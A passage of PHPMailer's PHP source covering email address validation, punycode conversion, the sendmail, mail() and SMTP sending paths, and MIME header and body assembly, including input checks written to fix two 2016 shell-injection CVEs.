                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
